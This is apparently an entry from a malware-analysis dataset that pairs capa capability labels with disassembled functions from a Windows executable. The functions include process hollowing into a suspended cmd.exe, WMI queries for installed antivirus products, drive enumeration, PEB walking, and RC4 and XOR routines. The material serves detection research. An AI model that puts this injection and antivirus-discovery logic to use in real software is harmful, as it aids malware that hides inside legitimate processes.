joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f54a
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x40f610
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00423be0
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0x4365a7
push str.C:WindowsSystem32cmd.exe
call dword [0x65e488]
test eax, eax
je 0x40f60e
push edi
push 0x1000
push edi
push ebx
call dword [0x65e544]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40f60e
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40f615
push dword [ebp - 0x20]
call dword [0x65e5f8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x40f66f
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0x40f638
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [0x65e5f8]
mov eax, dword [ebp - 0x1c]
jmp 0x40f610
Function at 0x411807
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x4c
mov eax, 0x42f1e5
call fcn.0042f0d9
mov esi, ecx
mov dword [ebp - 0x3c], esi
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x30], edi
lea eax, [ebp - 0x30]
push eax
push 0x432e30
push 1
push edi
push 0x432f00
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.ROOTCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x411971
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push edi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x436f30
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x41196a
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x34]
cmp eax, edi
je 0x411964
mov ecx, dword [eax]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x2c]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x38], edi
je 0x411964
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x58]
push edx
push edi
push str.InstallDate
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x50]
lea ecx, [ebp - 0x44]
call fcn.00411757
pop ecx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push edi
call dword [0x65e5e8]
push eax
call dword [0x65e578]
mov edi, eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x24]
push eax
movzx eax, word [ebp - 0x22]
push eax
movzx eax, word [ebp - 0x1e]
push eax
push str._d__d__d__d:_d:_d
push edi
call dword [0x65e3f8]
add esp, 0x20
push edi
call fcn.004104e7
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x41198f
or dword [ebp - 4], 0xffffffff
jmp 0x411985
push 0x436f64
jmp 0x41198a
push 0x436f6c
jmp 0x41198a
push 0x436f74
call fcn.004104e7
mov eax, esi
call fcn.0042f135
ret
Function at 0x411997
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x30
mov eax, 0x42f1ca
call fcn.0042f06d
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push 0x432e30
push 1
push edi
push 0x432f00
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x18]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.rootSecurityCenter2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x411aa0
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
push edi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x436fe8
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x411a99
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x20]
cmp eax, edi
je 0x411a93
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
lea edx, [ebp - 0x28]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x24], edi
je 0x411a93
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x3c]
push edx
push edi
push str.displayName
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x34]
call fcn.00411d42
pop ecx
push eax
call fcn.004104e7
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x411abe
or dword [ebp - 4], 0xffffffff
jmp 0x411ab4
push 0x437008
jmp 0x411ab9
push 0x437010
jmp 0x411ab9
push str.Unknown
call fcn.004104e7
mov eax, esi
call fcn.0042f112
ret

Function at 0x412541
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x20]
mov ecx, 0x414
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x14], 0x4366fe
mov word [ebp - 0x10], cx
mov dword [ebp - 6], 0x4366ff
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret
Function at 0x412bb9
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
sub esp, 0xc
mov esi, esp
push 0x4365a5
call fcn.004104e7
sub esp, 0xc
lea eax, [ebp + 8]
mov esi, esp
call fcn.00410519
call fcn.00405237
add esp, 0x18
cmp dword [ebp + 0x14], 0
mov esi, eax
mov dword [ebp - 4], edx
je 0x412d22
push 0x4365a6
lea esi, [ebp - 0xc]
call fcn.004104e7
push str..exe
push 6
pop ebx
lea edi, [ebp - 0x18]
call fcn.00411c4a
push 0x4366fc
push dword [0x65e1d0]
mov edi, eax
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00410609
lea esi, [ebp - 0x30]
call fcn.00410609
lea esi, [ebp - 0x48]
call fcn.004105c7
lea esi, [ebp - 0x3c]
call fcn.00410609
lea esi, [ebp - 0xc]
call fcn.0041058d
mov eax, dword [ebp - 0x3c]
call fcn.00402920
mov eax, dword [ebp - 0x48]
call fcn.00402920
mov eax, dword [ebp - 0x30]
call fcn.00402920
mov eax, dword [ebp - 0x24]
call fcn.00402920
mov eax, dword [ebp - 0x18]
call fcn.00402920
push 0x1c00
push 0x43dcd8
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.00410519
call fcn.00412446
xor eax, eax
lea edi, [ebp - 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x14
push 0x44
stosd dword es:[edi], eax
xor ebx, ebx
lea eax, [ebp - 0xa0]
push ebx
push eax
call fcn.00423be0
add esp, 0xc
push 0x436708
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00410609
lea edi, [ebp + 8]
lea esi, [ebp - 0x18]
call fcn.004105c7
lea esi, [ebp - 0xc]
call fcn.0041058d
mov eax, dword [ebp - 0x18]
call fcn.00402920
mov eax, dword [ebp - 0x24]
call fcn.00402920
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xa0]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0xc]
call fcn.00402920
xor edi, edi
inc edi
lea esi, [ebp + 0x18]
call fcn.00401cde
mov eax, dword [ebp + 8]
call fcn.00402920
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
xor edi, edi
push esi
call fcn.0040f54a
pop ecx
test eax, eax
jne 0x412d08
inc edi
cmp edi, 0x64
jl 0x412d24
xor edi, edi
jmp 0x412d0b
Function at 0x41510b
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x436a28
push dword [ebp + 0x80]
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x460], ebx
mov dword [ebp - 0x470], ebx
call dword [0x65e514]
xor esi, esi
inc esi
test eax, eax
je 0x415157
mov dword [ebp - 0x460], esi
push ebx
push 0x436a38
push dword [ebp + 0x80]
call dword [0x65e514]
test eax, eax
je 0x415179
mov dword [ebp - 0x460], esi
mov dword [ebp - 0x470], esi
cmp dword [ebp - 0x460], ebx
je 0x4152a1
lea eax, [ebp - 0x74]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x74]
cmp byte [ebp - 0x74], bl
je 0x415311
jmp 0x4151a1
xor ebx, ebx
push 0x3e8
lea eax, [ebp - 0x45c]
push ebx
push eax
call fcn.00423be0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 0x470], ebx
je 0x4151e5
cmp eax, 2
jne 0x4151e5
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x65e630]
push esi
push str._DRIVE_REMOVABLE_
jmp 0x4151fe
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x65e630]
push esi
push str._DRIVE_FIXED_
lea eax, [ebp - 0x45c]
call fcn.0041210e
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [0x65e630]
mov eax, dword [ebp + 0x8c]
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x468], eax
call fcn.00401cfd
xor ebx, ebx
push ebx
push dword [ebp + 0xa4]
lea eax, [ebp - 0x45c]
push dword [ebp - 0x460]
push dword [ebp + 0x9c]
push ebx
push dword [ebp + 0x98]
push dword [ebp - 0x46c]
push eax
push dword [ebp - 0x464]
push 0x43661e
push dword [ebp - 0x468]
call fcn.00414c91
add esp, 0x94
push esi
call dword [0x65e49c]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x41519f
jmp 0x41530f
mov eax, dword [ebp + 0x80]
mov esi, dword [ebp + 0x8c]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x46c], eax
call fcn.00401cfd
xor eax, eax
push eax
push dword [ebp + 0xa4]
push eax
push dword [ebp + 0x9c]
push eax
push dword [ebp + 0x98]
push esi
push dword [ebp - 0x468]
push dword [ebp - 0x464]
push 0x43661f
push dword [ebp - 0x46c]
call fcn.00414c91
add esp, 0x94
xor ebx, ebx
mov eax, dword [ebp - 0x474]
lea esi, [ebp + 0xc]
mov dword [eax], ebx
call fcn.00401cde
lea ecx, [ebp + 0x74]
call fcn.00415338
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cfe0
leave
ret
Function at 0x416e60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
push edi
lea eax, [ebp - 0x48]
call fcn.00416f39
test byte [0x65e3c8], 1
mov eax, dword [ebp + 0x40]
je 0x416e7f
mov eax, dword [ebp + 0x44]
mov dword [ebp - 0x48], eax
lea eax, [ebp + 0xc]
lea esi, [ebp - 0x20]
call fcn.0041058d
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
xor edi, edi
lea eax, [ebp + 0x48]
lea esi, [ebp - 0x44]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call fcn.0041058d
lea eax, [ebp + 0x1c]
lea esi, [ebp - 0x38]
call fcn.0041058d
lea eax, [ebp + 0x28]
lea esi, [ebp - 0x2c]
call fcn.0041058d
mov esi, 0x3e8
jmp 0x416ecd
push esi
call dword [0x65e410]
cmp dword [0x65e3c8], 2
jae 0x416ec6
inc dword [0x65e3c8]
cmp dword [0x65e3c0], edi
je 0x416ef2
mov ecx, dword [ebp + 0x18]
push ebx
push dword [ebp + 0xc]
call fcn.0041cc92
pop ecx
pop ecx
push edi
push edi
lea eax, [ebp - 0x48]
push eax
push 0x416d8f
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [ebp + 8]
push 0x4366c5
call fcn.004104e7
lea esi, [ebp - 0x48]
call fcn.00416f60
lea esi, [ebp + 0x1c]
call fcn.00401cde
mov eax, dword [ebp + 0xc]
call fcn.00402920
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret
Function at 0x418563
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0x41a5b8
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov ebx, eax
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0x41a5e6
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
push edi
push eax
mov dword [esi + 0x6af6c], edi
call fcn.00423be0
mov eax, ebx
movzx ecx, word [eax*8 + 0x436142]
mov dword [esi + 0x6af98], ecx
movzx ecx, word [eax*8 + 0x436140]
mov dword [esi + 0x6af9c], ecx
movzx ecx, word [eax*8 + 0x436144]
mov dword [esi + 0x6afa0], ecx
movzx eax, word [eax*8 + 0x436146]
add esp, 0xc
mov dword [esi + 0x6af94], eax
cmp ebx, 2
jg 0x41a649
mov eax, dword [ebp + 8]
or word [eax], 4
jmp 0x41a655
cmp ebx, 8
jl 0x41a655
mov eax, dword [ebp + 8]
or word [eax], 2
push 0x10000
lea ebx, [esi + 0x1af70]
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call dword [esi + 0xc]
add esp, 0xc
mov dword [esi + 0x6af90], eax
cmp eax, edi
je 0x41a6ba
cmp eax, 0xffffffff
je 0x41a6ba
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0x41a695
call fcn.0041a810
mov dword [esi + 0x6af7c], edi
xor eax, eax
movzx ecx, byte [ebx + eax]
shl edi, 5
xor edi, ecx
and edi, 0x7fff
inc eax
mov dword [esi + 0x6af7c], edi
cmp eax, 2
jb 0x41a69d
jmp 0x41a6ca
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x41a921
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0x6af80], 2
cmp dword [esi + 0x6af90], ebx
je 0x41ab1f
push edi
mov edi, 0x7fff
cmp dword [esi + 0x6af90], 3
jb 0x41a99b
mov ecx, dword [esi + 0x6af84]
movzx eax, byte [ecx + esi + 0x1af72]
mov edx, dword [esi + 0x6af7c]
shl edx, 5
xor eax, edx
and eax, edi
mov dword [esi + 0x6af7c], eax
mov eax, dword [esi + eax*4 + 0x4af70]
and ecx, edi
mov dword [esi + ecx*4 + 0x2af70], eax
mov ecx, dword [esi + 0x6af84]
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x6af7c]
mov dword [esi + eax*4 + 0x4af70], ecx
cmp dword [ebp - 4], 0
je 0x41a9de
mov eax, dword [esi + 0x6af84]
sub eax, dword [ebp - 4]
cmp eax, 0x7efa
ja 0x41a9de
mov ecx, dword [esi + 0x6af90]
cmp dword [esi + 0x6afa0], ecx
jbe 0x41a9c5
mov dword [esi + 0x6afa0], ecx
push dword [ebp - 4]
mov edx, esi
call fcn.0041a6cf
mov ebx, eax
mov eax, dword [esi + 0x6af90]
pop ecx
cmp ebx, eax
jbe 0x41a9de
mov ebx, eax
cmp ebx, 3
jb 0x41aa9f
mov edx, dword [esi + 0x6af84]
sub edx, dword [esi + 0x6af88]
lea ecx, [ebx - 3]
mov eax, esi
call fcn.0041a056
sub dword [esi + 0x6af90], ebx
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x6af90]
cmp ebx, dword [esi + 0x6af98]
ja 0x41aa6c
cmp eax, 3
jb 0x41aa6c
dec ebx
inc dword [esi + 0x6af84]
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [esi + edx + 0x1af72]
mov eax, dword [esi + 0x6af7c]
shl eax, 5
xor ecx, eax
and ecx, edi
mov dword [esi + 0x6af7c], ecx
mov ecx, dword [esi + ecx*4 + 0x4af70]
and edx, edi
dec ebx
mov dword [esi + edx*4 + 0x2af70], ecx
mov eax, dword [esi + 0x6af7c]
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 0x6af84]
mov dword [esi + eax*4 + 0x4af70], ecx
jne 0x41aa1a
jmp 0x41aabf
add dword [esi + 0x6af84], ebx
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [edx + esi + 0x1af70]
mov dword [esi + 0x6af7c], ecx
movzx edx, byte [edx + esi + 0x1af71]
shl ecx, 5
xor edx, ecx
xor ebx, ebx
and edx, edi
mov dword [esi + 0x6af7c], edx
jmp 0x41aac5
mov eax, dword [esi + 0x6af84]
movzx ecx, byte [eax + esi + 0x1af70]
xor edx, edx
mov eax, esi
call fcn.0041a056
dec dword [esi + 0x6af90]
mov dword [ebp - 8], eax
inc dword [esi + 0x6af84]
cmp dword [ebp - 8], 0
je 0x41ab00
mov ecx, dword [esi + 0x6af74]
test ecx, ecx
js 0x41aade
lea edx, [ecx + esi + 0x1af70]
jmp 0x41aae0
xor edx, edx
mov eax, dword [esi + 0x6af84]
push 0
sub eax, ecx
push edx
mov ecx, esi
call fcn.00419ed9
mov eax, dword [esi + 0x6af84]
pop ecx
pop ecx
mov dword [esi + 0x6af74], eax
cmp dword [esi + 0x6af90], 0x106
jae 0x41ab11
call fcn.0041a810
cmp dword [esi + 0x6af90], 0
jne 0x41a94b
pop edi
mov ecx, dword [esi + 0x6af74]
test ecx, ecx
js 0x41ab32
lea edx, [ecx + esi + 0x1af70]
jmp 0x41ab34
xor edx, edx
mov eax, dword [esi + 0x6af84]
push 1
sub eax, ecx
push edx
mov ecx, esi
call fcn.00419ed9
pop ecx
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x41b6dc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x41b6e7
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x41b79b
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 2]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 3]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 4]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 5]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 6]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 7]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
add ecx, 8
sub edi, 8
dec esi
jne 0x41b6fe
pop ebx
test edi, edi
je 0x41b7b4
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x436190]
inc ecx
dec edi
jne 0x41b79f
pop esi
not eax
pop edi
ret

Function at 0x41b7b9
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x436190]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x436190]
pop esi
mov dword [ecx + 8], eax
ret
Function at 0x41bd4a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
cmp byte [esi + 0x2d], 0
push edi
je 0x41bdd0
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x41bd84
cmp dword [esi + 0x40], ebx
jae 0x41bd84
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp - 4]
mov ecx, 4
xor eax, eax
rep stosb byte es:[edi], al
and dword [esi + 0x3c], 0
xor edi, edi
cmp dword [esi + 0x3c], edi
jne 0x41bd9c
lea eax, [ebx + ebx]
push eax
call dword [sym.imp.msvcrt.dll_malloc]
pop ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], ebx
push ebx
push dword [ebp + 8]
push dword [esi + 0x3c]
call fcn.00427020
add esp, 0xc
test ebx, ebx
je 0x41bdcd
mov eax, dword [esi + 0x3c]
movzx eax, byte [edi + eax]
push eax
lea eax, [esi + 0x30]
push eax
call fcn.0041b817
pop ecx
pop ecx
mov ecx, dword [esi + 0x3c]
mov byte [edi + ecx], al
inc edi
cmp edi, ebx
jb 0x41bdaf
mov edx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x41bdff
mov eax, dword [esi + 0x24]
lea edi, [eax + ebx]
cmp edi, dword [esi + 0x28]
jb 0x41bdeb
mov dword [esi + 0x14], 0x30000
jmp 0x41be21
push ebx
push edx
add eax, ecx
push eax
call fcn.00427020
add esp, 0xc
add dword [esi + 0x24], ebx
mov eax, ebx
jmp 0x41be23
mov eax, dword [esi + 4]
test eax, eax
je 0x41be1a
push 0
lea ecx, [ebp + 8]
push ecx
push ebx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp + 8]
jmp 0x41be23
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x41c236
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [esi + 0x84]
push edi
test ecx, ecx
je 0x41c287
mov eax, dword [esi + 0x8c]
mov edi, dword [esi + 0x88]
cmp eax, edi
jae 0x41c2af
sub edi, eax
cmp edi, dword [ebp + 8]
jbe 0x41c25e
mov edi, dword [ebp + 8]
push edi
add eax, ecx
push eax
push ebx
call fcn.00427020
add esp, 0xc
add dword [esi + 0x8c], edi
mov eax, dword [esi + 0x78]
add dword [esi + 0x74], edi
mov edx, edi
mov ecx, ebx
call fcn.0041b6dc
mov dword [esi + 0x78], eax
mov eax, edi
jmp 0x41c2b1
mov eax, dword [esi + 0x7c]
test eax, eax
je 0x41c2a8
push 0
lea ecx, [ebp + 8]
push ecx
push dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41c2af
mov edi, dword [ebp + 8]
jmp 0x41c271
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop edi
pop ebp
ret 4

Function at 0x41cfe0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43d078]
jne 0x41cfea
repz ret
jmp fcn.0041d35d